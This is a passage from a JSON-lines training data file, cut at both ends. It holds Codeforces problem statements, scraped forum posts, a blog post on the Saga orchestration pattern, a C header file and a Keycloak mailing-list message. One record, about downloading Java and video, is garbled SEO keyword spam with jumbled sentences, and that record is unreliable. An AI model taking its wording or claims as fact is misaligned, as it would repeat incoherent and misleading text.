left of $$$p_2=3$$$ is $$$p_1=p_2+1=3+1=4$$$;\n- to the right of $$$p_3=1$$$ is $$$p_4=p_3+1=1+1=2$$$;\n- to the left of $$$p_4=2$$$ is $$$p_3=p_4-1=2-1=1$$$.\n- for all $$$i$$$ is $$$p_i \\ne i$$$.\n\nFor a given positive integer $$$n$$$, output any funny permutation of length $$$n$$$, or output -1 if funny permutation of length $$$n$$$ does not exist.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I am working in C++. We downloaded some C code from ITU that implements some compression algorithms. I am rather new to C++ and I want to know what is the right approach to using C code in C++.\nShould I translate it all into C++ classes?\nIs there a common alternate approach?\nAll of the code will be compiled together on Linux using g++ 3.2.x.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A.R.C. Markland-N is a tall building with $$$n$$$ floors numbered from $$$1$$$ to $$$n$$$. Between each two adjacent floors in the building, there is a staircase connecting them.\n\nIt's lunchtime for our sensei Colin \"ConneR\" Neumann Jr, and he's planning for a location to enjoy his meal.\n\nConneR's office is at floor $$$s$$$ of the building. On each floor (including floor $$$s$$$, of course), there is a restaurant offering meals. However, due to renovations being in progress, $$$k$$$ of the restaurants are currently closed, and as a result, ConneR can't enjoy his lunch there.\n\nCooneR wants to reach a restaurant as quickly as possible to save time. What is the minimum number of staircases he needs to walk to reach a closest currently open restaurant.\n\nPlease answer him quickly, and you might earn his praise and even enjoy the lunch with him in the elegant Neumanns' way!", "source": "cpt_codeforces", "language": "en", "token_count": 208, "token_count_with_eod": 209, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Ugh. I ended up at PetSmart this morning (was with my mom and she needed cat food) and I bought frozen brine shrimp/bloodworms for my bettas.\nI have never fed this kind of food before, and well, obviously I fed them too much because all three are now bloated! I am not too worried about two of them, they just look well fed I guess, but oh my gosh, when I saw Lenymo's belly I felt a pit in my stomache... it's so big and round that I am worried I messed him up and he is going to get swim bladder or something\nI didn't feed him anymore than the other two but his stomache looks really big.\nHe is a crowntail and i know CT's look more bloated than others but still I am kind of worried, I have never had any over feeding issues with any of them/seen them that bloated before. I am going to watch them closely but could I have done damage here, can ONE overfeeding do damage??\nI fed about half a cube of the thawed out brine shrimp between the 3 of them, which was obviously too much... I am guessing it should be about a 1/4 cube next time?? Aiya (I am definitely going to fast Lenymo tomorrow)\nAny insight to how to feed this stuff properly/safely would be great. I got the frozen stuff because so many people recommend it but I'm scared I am going to mess up like this again and risk giving them all SBD or something", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 324, "token_count_with_eod": 325, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Petya's friends made him a birthday present — a bracket sequence. Petya was quite disappointed with his gift, because he dreamed of correct bracket sequence, yet he told his friends nothing about his dreams and decided to fix present himself.\n\nTo make everything right, Petya is going to move at most one bracket from its original place in the sequence to any other position. Reversing the bracket (e.g. turning \"(\" into \")\" or vice versa) isn't allowed.\n\nWe remind that bracket sequence $$$s$$$ is called correct if:\n\n- $$$s$$$ is empty;\n- $$$s$$$ is equal to \"($$$t$$$)\", where $$$t$$$ is correct bracket sequence;\n- $$$s$$$ is equal to $$$t_1 t_2$$$, i.e. concatenation of $$$t_1$$$ and $$$t_2$$$, where $$$t_1$$$ and $$$t_2$$$ are correct bracket sequences.\n\nFor example, \"(()())\", \"()\" are correct, while \")(\" and \"())\" are not. Help Petya to fix his birthday present and understand whether he can move one bracket so that the sequence becomes correct.", "source": "cpt_codeforces", "language": "en", "token_count": 243, "token_count_with_eod": 244, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "A sky scraper with 1000 floors has been built in the city of N. It has modern superfast elevators to help to travel from one floor to another. Each elevator has two doors, the front one and the back one. If one goes in through the front door, he goes out through the back one and vice versa. The elevator has two rails numbered with numbers 1 and 2. Rail 1 is located to the left of the entrance to the front door (or correspondingly, to the right of the entrance to the back door). Rail 2 is located opposite it, to the right of the entrance to the front door and to the left of the entrance to the back door. We know that each person in the city of N holds at a rail with the strongest hand.\n\nOne day a VIP person visited the city and of course, he took a look at the skyscraper and took a ride in the elevator. We know the door through which he entered and the rail he was holding at. Now we need to determine as soon as possible whether he is left-handed or right-handed.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Hi everyone , I use Crystal Reports for SAP Business One\nWhen I click on Page Setup , it opens a windows which says Crystal reports stopped working and trying to find solution . Then I must close CR\nHow can I solve this problem ?\nIn attach a picture in the moment when the problem happens", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "In the previous post, we saw some of the challenges of implementing distributed transactions and how to implement Saga’s pattern using the Event/Choreography approach. In this article, let’s talk about how to address some of its problems like complex transactions or cyclic dependencies of events by using another type of Saga’s implementation called Command or Orchestration.\nSaga’s Command/Orchestration Sequencing Logic\nIn the orchestration approach, we define a new service with the sole responsibility of telling each participant what to do and when. The saga pattern orchestrator communicates with each service in a command/reply style telling them what operation should be performed.\nLet’s see how it looks like using our previous e-commerce example:\n- Order Service saves a pending order and asks Order Saga Orchestrator (OSO) to start a create order transaction.\n- OSO sends an Execute Payment command to Payment Service, and it replies with a Payment Executed message\n- OSO sends a Prepare Order command to Stock Service, and it replies with an Order Prepared message\n- OSO sends a Deliver Order command to Delivery Service, and it replies with an Order Delivered message\nIn the case above, Order Saga Orchestrator knows what is the flow needed to execute a “create order” transaction. If anything fails, it is also responsible for coordinating the rollback by sending commands to each participant to undo the previous operation.\nA standard way to model a saga orchestrator is a State Machine where each transformation corresponds to a command or message. State machines are an excellent pattern to structure a well-defined behavior as they are easy to implement and particularly great for testing.\nRolling Back in Saga’s Command/Orchestration\nRollbacks are a lot easier when you have an orchestrator to coordinate everything:\n- Stock Service replies to OSO with an Out-Of-Stock message;\n- OSO recognizes that the transaction has failed and starts the rollback\n- In this case, only a single operation was executed successfully before the failure, so OSO sends a Refund Client command to Payment Service and set the order state as failed\nBenefits and Drawbacks of Using Saga’s Command/Orchestration Design\nOrchestration-based sagas have a variety of benefits:\n- Avoid cyclic dependencies between services, as the saga orchestrator invokes the saga participants but the participants do not invoke the orchestrator\n- Centralize the orchestration of the distributed transaction\n- Reduce participants’ complexity as they only need to execute/reply commands.\n- Easier to be implemented and tested\n- The transaction complexity remains linear when new steps are added\n- Rollbacks are easier to manage\n- If you have a second transaction willing to change the same target object, you can easily put it on hold on the orchestrator until the first transaction ends.\nHowever, this approach still has some drawbacks, one of them is the risk of concentrating too much logic in the orchestrator and ending up with an architecture where the smart orchestrator tells dumb services what to do.\nAnother downside of Saga’s Orchestration-based is that it slightly increases your infrastructure complexity as you will need to manage an extra service.\nSaga Pattern Tips\nCreate a Unique Id per Transaction\nHaving a unique identifier for each transaction is a common technique for traceability, but it also helps participants to have a standard way to request data from each other. By using a transaction Id, for instance, Delivery Service could ask Stock Service where to pick up the products and double check with the Payment Service if the order was paid.\nAdd the Reply Address Within the Command\nInstead of designing your participants to reply to a fixed address, consider sending the reply address within the message, this way you enable your participants to reply to multiple orchestrators.\nIf you are using queues for communication between services (like SQS, Kafka, RabbitMQ, etc.), I personally recommended you make your operations Idempotent. Most of those queues might deliver the same message twice.\nIt also might increase the fault tolerance of your service. Quite often a bug in a client might trigger/replay unwanted messages and mess up with your database.\nAvoiding Synchronous Communications\nAs the transaction goes, don’t forget to add into the message all the data needed for each operation to be executed. The whole goal is to avoid synchronous calls between the services just to request more data. It will enable your services to execute their local transactions even when other services are offline.\nThe downside is that your orchestrator will be slightly more complex as you will need to manipulate the requests/responses of each step, so be aware of the tradeoffs.\nIf you have any questions, feel free to ask me at @deniswsrosa\nIs there an implementation?\nHere’s an alternative to a state machine as implementation: https://github.com/bertilmuth/requirementsascode. I’m glad if you let me know what you think.\nHello, in your visualization you used Message Broker and channels. So it looks like Sage Publish to broker channel. And for example Payment Subscriber do that channel and receive that message. After that it should send result to another channel for Saga. So it’s PUB/SUB MQ. So if Payment service is offline, Saga should proivde some logic with timeout for response. So why we not use for that case REQ/REP (Request/Response MQ model), or direct request to Payment service? So we will immediately to know response and service availability?", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "The feature selection. The filtering process of feature selection. The goal of feature selection is to detect features associated with PFS and gene expression changes but not related with patient ages and tumor stages. As a result, (a) 134 features (genes) were selected from copy number data, and (b) 59 features (CpG sites) were selected from methylation data.\nHsu et al. BMC Genomics 2012 13(Suppl 6):S13 doi:10.1186/1471-2164-13-S6-S13", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given a directed weighted graph with n nodes and 2n - 2 edges. The nodes are labeled from 1 to n, while the edges are labeled from 1 to 2n - 2. The graph's edges can be split into two parts.\n\n- The first n - 1 edges will form a rooted spanning tree, with node 1 as the root. All these edges will point away from the root.\n- The last n - 1 edges will be from node i to node 1, for all 2 ≤ i ≤ n.\n\nYou are given q queries. There are two types of queries\n\n- 1 i w: Change the weight of the i-th edge to w\n- 2 u v: Print the length of the shortest path between nodes u to v\n\nGiven these queries, print the shortest path lengths.", "source": "cpt_codeforces", "language": "en", "token_count": 192, "token_count_with_eod": 193, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Hi, I'm having issues with Image Gallery in ss 2.4.3 (image gallery build 522).\nWhen adding new images to albums, the dropdown to select album always shows the default album, so I have to manually select the album I'm in from the dropdown... has anyone else been having issues with ImageGal in 2.4.3??\nI also experience some problems with Image Gallery and SS 2.4.3. When creating a Image_gallery page the loader icon keeps looping and an error pops up without any message. I have uninstalled and installed dataobjectmanager, swfupload and imagegallery a couple of times but it did not work out.\nI know my post won't solve your problem, but i hope one post will.\nI have just installed image_gallery on a live server even though it did not work on my local server.\nOn my localhost i saw the upload button but i could not upload any images and create a page with the image_gallery properties.\nI have followed the steps below to install it.\n- place dataobject_manager v521 in root\n- place swfupload v401 in root\n- place image_gallery v516 in root\nNow having it installed on a live server i cannot even see the upload button in the \"files & images\" section.\nI have just logged in into your test environment and everything in your test environment seems to work.\nI saw that the test environment was running SS 2.4. Does that mean i need to downgrade it or should image_gallery even work on 2.4.3?\nIt works now, but i receive an HTTP error when uploading a file. I will try to figure out what is causing that.\nI have already disabled my mod_security in the htaccess, but that did not solve it. Thanks for your help so far.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 390, "token_count_with_eod": 391, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You are given integers a, b and c. Calculate ab modulo c.", "source": "cpt_codeforces", "language": "en", "token_count": 15, "token_count_with_eod": 16, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "This is an unusual problem in an unusual contest, here is the announcement: http://codeforces.com/blog/entry/73543\n\nAndrey has just started to study competitive programming and he is fascinated by bitsets and operations on them.\n\nFor example, assume he has a bitset with $$$n$$$ elements. He can change the values of the bitset in the following way:\n\n1. He chooses different indices $$$i_0$$$, $$$i_1$$$, $$$i_2$$$, ... $$$i_k$$$ ($$$k \\geq 1$$$, $$$1 \\leq i_j \\leq n$$$) so that bit $$$i_0$$$ is different from all bits $$$i_1$$$, $$$i_2$$$, ... $$$i_k$$$.\n2. He flips all these $$$k + 1$$$ bits.\n\nHe calls a bitset amazing if he can flip all the bits using several such changes.\n\nAnother topic Andrey is interested in is probability theory. For given $$$n$$$ and $$$p$$$, where $$$p$$$ is a rational number represented as $$$\\frac{a}{b}$$$ with integer $$$a, b$$$, he considers all bitsets of length $$$n$$$, where each element is equal to $$$1$$$ with probability $$$p$$$ independently of the other elements.\n\nHe wants to know the probability that a bitset generated by the described method is amazing.\n\nIt is guaranteed that the answer to this problem can be represented as a rational number $$$\\frac{x}{y}$$$, where $$$y$$$ is coprime with $$$1\\,234\\,567\\,891$$$. You need to output such integer $$$z$$$ that $$$x \\equiv yz \\pmod{1\\,234\\,567\\,891}$$$ and $$$0 \\leq z < 1\\,234\\,567\\,891$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 416, "token_count_with_eod": 417, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Is it planned to integrate a built-in whois functionality?\nIn the past years i used Net-Peeker to observe my network connections and investigate who is behind a specific address. But Net-Peeker seems to be discontinued since 3 three years until now and it is just a question of time until this piece of software will not work anymore. At the moment, i use both software, but i would like to completely move to glasswire.\nA feature i very liked was the built-in whois request, which can be performed with a mouse click on the remote address. I have attached a screenshot of this feature to make it clear, what i mean:\nI know, i could use the google to perform a whois request but it is very comfortable to make it from within.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 161, "token_count_with_eod": 162, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is one recipe for charging biochar, but there are many different ways of doing it. What you are really trying to do, is add nutrients and micro-organisms to the biochar before adding it to your soil. In the video, I have used a mix of compost, animal manure, fish, blood & bone meal to achieve this.\n- What is biochar?\n- How to use biochar", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 85, "token_count_with_eod": 86, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A binary matrix is called good if every even length square sub-matrix has an odd number of ones.\n\nGiven a binary matrix $$$a$$$ consisting of $$$n$$$ rows and $$$m$$$ columns, determine the minimum number of cells you need to change to make it good, or report that there is no way to make it good at all.\n\nAll the terms above have their usual meanings — refer to the Notes section for their formal definitions.", "source": "cpt_codeforces", "language": "en", "token_count": 91, "token_count_with_eod": 92, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "// Copyright 2016-2021 Lawrence Livermore National Security, LLC and other\n// IREP Project Developers. See the top-level LICENSE file for details.\n//\n// SPDX-License-Identifier: MIT\n\n#ifndef ir_index_h\n#define ir_index_h\n\n// These are definitions for IREP's internal index representation.\n// It's used by generated wkt indexes, but is not intended for use\n// by IREP users' code.\n\n// needed for size_t\n#include \n\n// Enum of all data types described by the IREP index.\nenum ir_type {\n T_int,\n T_dbl,\n T_log,\n T_str,\n T_cbk,\n T_tbl,\n T_ref,\n T_ptr\n};\n\n\n// Descriptor for an IREP variable.\ntypedef struct {\n const char *name; // Name of the variable.\n int ti; // If variable is itself a struct, index into ir_ta, or -1.\n size_t sz; // Size of (one element of) the variable.\n size_t off; // Offset of the variable in its enclosing struct.\n int len; // Max length for string variable; include trailing null.\n int flb; // Fortran lower bound, if array.\n int fub; // Fortran upper bound, if array. Zero for scalar.\n int typ; // Type code for the variable. See Typ above.\n} ir_element;\n\n\n// Descriptor for an IREP well known table.\ntypedef struct {\n void *p; // Address of the table instance.\n ir_element e; // As above.\n} ir_wkt_desc;\n\n\n// These lookup tables need to be generated by irep-generate for the entire\n// program, and must include *all* wkt's. See irep-generate for details;\n// linking irep into a program that does not define ir_wktt and ir_ta will\n// result in link failure.\n\n// list of all well known tables and sub-tables\nextern ir_element *ir_ta[];\n\n// the index of top-level wkt's (this is where ir_read looks to figure out\n// where to write things)\nextern ir_wkt_desc ir_wktt[];\n\n// total number of wkt's in the index\nextern size_t ir_wktt_size;\n\n\n#endif // ir_index_h", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Owen reps Division Brand and Atlantis Shop out of Vancouver and is a railboss. SUBSCRIBE: http://bit.ly/1HOEepQ\nOwen grew up in the middle of nowhere but currently lives in Vancouver. He got sponsored, saw his first naked girl, turned 19 and lost his virginity thanks to Tinder in the same week. That is why he rides so good.\nThis edit was dropped last year for Division Brand:\nSubscribe to our channel for more BMX videos like this one!\nOUR WEBSITE UPDATED EVERY DAY WITH NEW BMX VIDEOS: http://www.thecomeup.com\nBMX T SHIRTS. FREE STICKERS WITH EVERY ORDER: http://www.thecomeup.bigcartel.com", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Dima worked all day and wrote down on a long paper strip his favorite number $$$n$$$ consisting of $$$l$$$ digits. Unfortunately, the strip turned out to be so long that it didn't fit in the Dima's bookshelf.\n\nTo solve the issue, Dima decided to split the strip into two non-empty parts so that each of them contains a positive integer without leading zeros. After that he will compute the sum of the two integers and write it down on a new strip.\n\nDima wants the resulting integer to be as small as possible, because it increases the chances that the sum will fit it in the bookshelf. Help Dima decide what is the minimum sum he can obtain.", "source": "cpt_codeforces", "language": "en", "token_count": 143, "token_count_with_eod": 144, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "I need a full solution of an application that reads CallerId from a modem (bidder should suggest a well-known external USB modem type and model) then it passes caller Id to a server through an HTTP API call with some configurations like UserName and Password.\nApplication should have configurations to save server URL, UserName and Password, then it should work as a background proccess.\n7 freelancers are bidding on average $263 for this job\nyou will not regret hiring us. i know that their will be a more professional proposals to you but give us that chance to prove you that we are good enough.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "It's tough to be a superhero. And it's twice as tough to resist the supervillain who is cool at math. Suppose that you're an ordinary Batman in an ordinary city of Gotham. Your enemy Joker mined the building of the city administration and you only have several minutes to neutralize the charge. To do that you should enter the cancel code on the bomb control panel.\n\nHowever, that mad man decided to give you a hint. This morning the mayor found a playing card under his pillow. There was a line written on the card:\n\n$$J(x) = \\sum_{\\substack{1 \\leq k \\leq x \\\\ k | x \\\\ \\gcd(k, x/k) = 1}} k$$\n\nThe bomb has a note saying \"J(x) = A\", where A is some positive integer. You suspect that the cancel code is some integer x that meets the equation J(x) = A. Now in order to decide whether you should neutralize the bomb or run for your life, you've got to count how many distinct positive integers x meet this equation.", "source": "cpt_codeforces", "language": "en", "token_count": 225, "token_count_with_eod": 226, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "What I think needs to be done is figure out how exactly you want\nbootstrapping and configuration to look like. What are the user facing\ninteractions? What GUI or CLI commands need to be done? What can we do\nto provide an integrated, simple, easy to use, nice SSO solution for\nAs for Keycloak: CORS, switching IPs, Integrating with existing auth\nmechs, and OAuth are all things we do or want to do. You have to\nremember though that Keycloak is a solution. A user-facing solution.\nIf you're only interested in adapters to integrate Wildfly with some\nthird-party SAML, oauth, openid, or whatever solution, then Keycloak is\nnot for you. We're not an third-party adapter provider. I'm really not\ninterested in Keycloak becoming another Picketlink where we provide a\nset of libraries to help you build your own security solution.\nBut, if you're interested in focusing on providing an OOTB SSO solution\nfor Wildfly, then we can talk:\nFor a CORS solution, we only have \"validated CORS\" where the allowed\norigins are stuffed in the signed token you get from the auth server.\nThere will probably be a few cases where users want unauthenticated CORS\ninvocations. Implementation wise, much of the CORS stuff is broken out\ninto different Undertow handlers. I also think Undertow has some of\nthis too (all the preflight stuff).\nUsing different IPs (i.e. LDAP/AD) is on the back burner for at least a\nfew months as we focus on Wildfly integration, themes, and other\nWhat do you mean by Enabling OAuth? If this means just having Wildfly\nparticipate as an OAuth client, then again Keycloak is not for you. If\nyou want Wildfly to be the OAuth provider, then, you would need\nsomething like keycloak in order to provide login screens and grant pages.\nFor Keycloak integrating with other auth mechanisms, I see this as a\nKeycloak problem in that we need to be able to work with clients that we\ncannot install an adapter on, but yet support a protocol like SAML.\nOn 1/31/2014 7:26 AM, Darran Lofthouse wrote:\nJust finishing off some WildFly 8 tasks and have a few things to work on\nfor EAP after that but as soon as that is done I need to get on with the\nnext steps for WildFly 9.\nFor the future SSO within domain management we have a few different\nissues to content with: -\n- Switching to a new identity provider\n- Integrating with existing authentication mechanisms\n- Enabling OAuth\nWhat I wanted to check with you guys before I start raising some\ntracking issues is if we can consider these points independently or if\nwe are going to need an all at once approach?\nAs an example we had a discussion the other day where it was identified\nthere may already be a CORS implementation in KeyCloak we can use, that\nis also one of our number one requirements in WildFly - would it be an\noption to integrate that portion first and then start looking to the rest?\nkeycloak-dev mailing list\nJBoss, a division of Red Hat", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 691, "token_count_with_eod": 692, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Monocarp is playing a computer game. He's going to kill $$$n$$$ monsters, the $$$i$$$-th of them has $$$h_i$$$ health.\n\nMonocarp's character has two spells, either of which he can cast an arbitrary number of times (possibly, zero) and in an arbitrary order:\n\n- choose exactly two alive monsters and decrease their health by $$$1$$$;\n- choose a single monster and kill it.\n\nWhen a monster's health becomes $$$0$$$, it dies.\n\nWhat's the minimum number of spell casts Monocarp should perform in order to kill all monsters?", "source": "cpt_codeforces", "language": "en", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Downloading java video - Driver carte graphique intel hd graphics family\nThe Eclipse Foundation - home to a global community over 350 open source projects, the Eclipse IDE, tools , Jakarta EE , including runtimes frameworks. Java Code Generation. Downloading java video. Keep in mind that a few of these projects could have been classified in more than one topic.\nJan 30 · In this Article: Article Summary Downloading the Java Software Development Kit Installing on macOS Installing on Windows Installing from an Archive on Linux . We are currently hiring Software Development Engineers this Article: Article Summary Downloading the Java Software Development Kit Installing on macOS Installing on Windows Installing from an Archive on Linux , Designers , Support Engineers, Product Managers, Account Managers, System Engineers, Solutions Architects Solaris Installing from a Package on Linux Community Q& A 14 References.\nVuze Bittorrent Client The Vuze Bittorrent Client is an end- to- end software application for all your torrent needs. Keep in mind that a few of these projects could have. Popular ones include Awesome Apps That You Can' T Find In Google Play Reigns games Minecraft games. They allow for greater interactivity and can power some very creative pages. * FREE* shipping on qualifying offers. Sure there are lots of tools to download videos from YouTube but how about the rest of video sharing websites?\nPlugins Contents Acquisition Analysis Collections Color Filters Segmentation Graphics Input/ Output Programming Examples. Software Engineer, the Stylus Studio® Team.\nIn this video we will be talking about the most common data types use in Java which are the primitive data types. SOA Using Java Web Services [ Mark D.\nAmazon Web Services ( AWS) is a dynamic, growing business unit within. This is an introduction to get you started programming with Java 9- and the newly introduced JShell. The web is full of Java- based programs. My requirement is, I should send a 10MB zip file to the client with a restful service. Java RMI: Designing & Building Distributed Applications ( JAVA SERIES) [ William Grosso] on.\nJava RMI contains a wealth of experience in designing and implementing Java' s Remote Method Invocation. Taking your XSLT by Clyde Kessel, XQuery To- Go with the new Java Code Generator in Stylus Studio® X16 XML Enterprise Suite . I found the code in forums that sending a StreamingOutput object is the better way, but how can I create a. How to Install Java. If you' re a novice reader. Expert Solutions and State- of- the- Art Code Examples. Download best quality mp3 music Waptrick games , get the latest , android games , free videos from ick for Waptrick videos, Waptrick mp3 songs the best mobile this video we will be talking about the most common data types use in Java which are the primitive data types. In order to see this content, your computer will need to have the Java Runtime Environment ( JRE). Downloading java video. Amazon Web Services is Hiring. Home | news | docs | download | plugins | resources | list | links. Plugins Contents Acquisition Analysis Collections Color Filters Segmentation Graphics. Taking your XSLT XQuery To- Go with the new Java Code Generator in Stylus Studio® X16 XML Enterprise Suite, by Clyde Kessel Sr. We will focus on byte short, int long.If an internal link led you here, you may wish to change the link to point directly to the intended low you will find 150 project ideas. I have divided them into 10 different topic areas that I think the project may use the most. This contrasts with uploading, where data is sent to a remote server.\nWaptrick Downloads. KeepVid finds an online survey about video download typically a server such as a web server, an email server, download means to receive data from a remote system, an FTP server, this survey shows the statistics about video sharing computer networks other similar systems. XVideoServiceThief ( a. This disambiguation page lists articles associated with the title How. Get Into Action With Android Apps iOS Games More.\nJava is one of the top five programming languages is used for websites, embedded controllers Android app development. Which Websites Do People Download Videos from?\nIs an E- Learning project Sinhala educational web site which enables Sri Lankan community to explore the world of Information Technology. Although it is a complete bittorrent downloader doesn' t slow your computer down, the Vuze program maintains a lightweight footprint quickly downloads torrents. A download is a file offered for downloading the process of receiving such a t required to have any prior programming knowledge, that has been downloaded as all the prerequisites such as Java will be explained from basics. Downloading java video. Downloading java video. A xVST) is a Windows Linux Mac OS X tool for downloading your video clips from a lot of video websites. JDownloader is a free open- source download management tool with a huge community of developers that makes downloading as easy fast as it should be. Download free Android apps to explore new ways to do things or addicting games for Android to keep yourself entertained.\nWe are currently hiring Software Development Engineers Product Managers, Support Engineers, Account Managers, Solutions Architects, System Engineers, Designers more. SOA Using Java™ Web Services is a hands- on guide to implementing Web services Service Oriented Architecture ( SOA) with today’ s Java EE 5 Java SE 6 platforms. Expert Solutions Service Oriented Architecture ( SOA) with today’ s Java EE 5 , State- of- the- Art Code Examples SOA Using Java™ Web Services is a hands- on guide to implementing Web services Java SE 6 platforms.\nDownloading video Indonesia\nI created code for download video from Youtube, but this code doesn' t work with Wi- fi connection and work with mobile connection. Where did I have mistake?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1214, "token_count_with_eod": 1215, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Iñigo LavadoChef | Restaurant Iñigo Lavado\nWhat moves me is the emotion of making people enjoy themselves. Our gastronomy seeks to go beyond the common dynamics that exist in a restaurant. We want to live different experiences that nourish our cuisine and translate them into our dishes.\nShowcooking | Exhibitor talks Aula Makro\n“Bridging Borders” Meeting Point\nIñigo Lavado Restaurant Iñigo Lavado Chef", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "Gottfried learned about binary number representation. He then came up with this task and presented it to you.\n\nYou are given a collection of $$$n$$$ non-negative integers $$$a_1, \\ldots, a_n$$$. You are allowed to perform the following operation: choose two distinct indices $$$1 \\leq i, j \\leq n$$$. If before the operation $$$a_i = x$$$, $$$a_j = y$$$, then after the operation $$$a_i = x~\\mathsf{AND}~y$$$, $$$a_j = x~\\mathsf{OR}~y$$$, where $$$\\mathsf{AND}$$$ and $$$\\mathsf{OR}$$$ are bitwise AND and OR respectively (refer to the Notes section for formal description). The operation may be performed any number of times (possibly zero).\n\nAfter all operations are done, compute $$$\\sum_{i=1}^n a_i^2$$$ — the sum of squares of all $$$a_i$$$. What is the largest sum of squares you can achieve?", "source": "cpt_codeforces", "language": "en", "token_count": 223, "token_count_with_eod": 224, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "#ifndef _CONSTANTS_H_\n#define _CONSTANTS_H_\n#endif /* _CONSTANTS_H_ */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "There are $$$m$$$ people living in a city. There are $$$n$$$ dishes sold in the city. Each dish $$$i$$$ has a price $$$p_i$$$, a standard $$$s_i$$$ and a beauty $$$b_i$$$. Each person $$$j$$$ has an income of $$$inc_j$$$ and a preferred beauty $$$pref_j$$$.\n\nA person would never buy a dish whose standard is less than the person's income. Also, a person can't afford a dish with a price greater than the income of the person. In other words, a person $$$j$$$ can buy a dish $$$i$$$ only if $$$p_i \\leq inc_j \\leq s_i$$$.\n\nAlso, a person $$$j$$$ can buy a dish $$$i$$$, only if $$$|b_i-pref_j| \\leq (inc_j-p_i)$$$. In other words, if the price of the dish is less than the person's income by $$$k$$$, the person will only allow the absolute difference of at most $$$k$$$ between the beauty of the dish and his/her preferred beauty.\n\nPrint the number of dishes that can be bought by each person in the city.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "It would be the same as the application as Brightspace Pulse but more customized. Would also like to be able to post on discussion boards, receive school wide announcements, calendar notifications, and school alerts, check grades, assignments and email, and contain school contacts for the office and advisors.\nDo not know what to put for skills required\n18 freelanceria on tarjonnut keskimäärin %project_bid_stats_avg_sub_18% %project_currencyDetails_sign_sub_19%/tunti tähän työhön\nHello, I can create your system fully(include design) from backend(database, admin panel and rest api) to frontend(android and ios). Hope to work with you. Please send me a message so that we can discuss more.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I am a Professor in Industrial Organization, with a background in Computer Modelling, Economics and Mathematics. My main area of expertise is game theory and the analysis of complex systems. I am currently lecturing Machine Learning, Finance, and Complex Systems Modelling at the University of Burgos (Spain). Curriculum vitae.\ne-mail: lrizquierdo @ ubu . es\nLearning and Evolutionary Game Theory, Social dilemmas, Complex systems modelling, Philosophy of modelling and the use of models, networks, complexity ...\n- An Introduction to ABED: Agent-Based Simulation of Evolutionary Game Dynamics\nIzquierdo, L.R., Izquierdo, S.S. & Sandholm, W.H. (2019). Games and Economic Behavior, 118, pp. 434-462.\n[Download at publishers's site] | [Working Paper] | [Online appendix] | [abed-1pop] | [abed-2pop] | [Presentation]\n- Best Experienced Payoff Dynamics and Cooperation in the Centipede Game\nSandholm, W.H., Izquierdo, S.S. & Izquierdo, L.R. (2019). Theoretical Economics 14, pp. 1347–1385.\n[Download] | [Online appendix] | [Mathematica notebook]\n- EvoDyn-3s: A Mathematica Computable Document to Analyze Evolutionary Dynamics in 3-Strategy Games\nIzquierdo, L.R., Izquierdo, S.S. & Sandholm, W.H. (2018). SoftwareX, 7, pp. 226-233.\n[Download] | [Software]\n- Leave and let leave: A sufficient condition to explain the evolutionary emergence of cooperation\nIzquierdo, L.R., Izquierdo, S.S. & Vega-Redondo, F. (2014). Journal of Economic Dynamics & Control 46, pp. 91-113.\n[Download at publishers's site] | [Download unformatted version] | [Computational model] | [Presentation] | [5-minute video summary]\nTwenty years from now you will be more disappointed by the things that you didn't do than by the ones you did do. So throw off the bowlines. Sail away from the safe harbor. Catch the trade winds in your sails. Explore. Dream. Discover.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 519, "token_count_with_eod": 520, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "How to print data across then down 